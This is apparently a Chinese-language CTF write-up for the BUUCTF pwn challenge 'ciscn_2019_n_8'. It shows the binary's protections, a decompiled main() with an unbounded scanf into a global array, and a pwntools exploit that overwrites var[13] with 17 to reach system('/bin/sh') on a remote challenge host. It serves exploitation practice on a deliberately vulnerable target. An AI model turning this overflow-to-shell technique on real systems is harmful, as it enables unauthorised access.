ciscn 2019 n 8

前提

查看文件保护

[*] '/root/pwn/buuctf/ciscn_2019_n_8/ciscn_2019_n_8'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

静态分析

主函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 17LL )
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}

思路分析

• 漏洞十分明显__isoc99_scanf为var变量读入数据,var[13]处为17时可获得shell

exp

from pwn import *
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/ciscn_2019_n_8/ciscn_2019_n_8'
io = remote('node4.buuoj.cn', 25156)
# io = process(pwnfile)
payload = flat(['a'*4*13, 17])
io.recv()
io.sendline(payload)
io.interactive()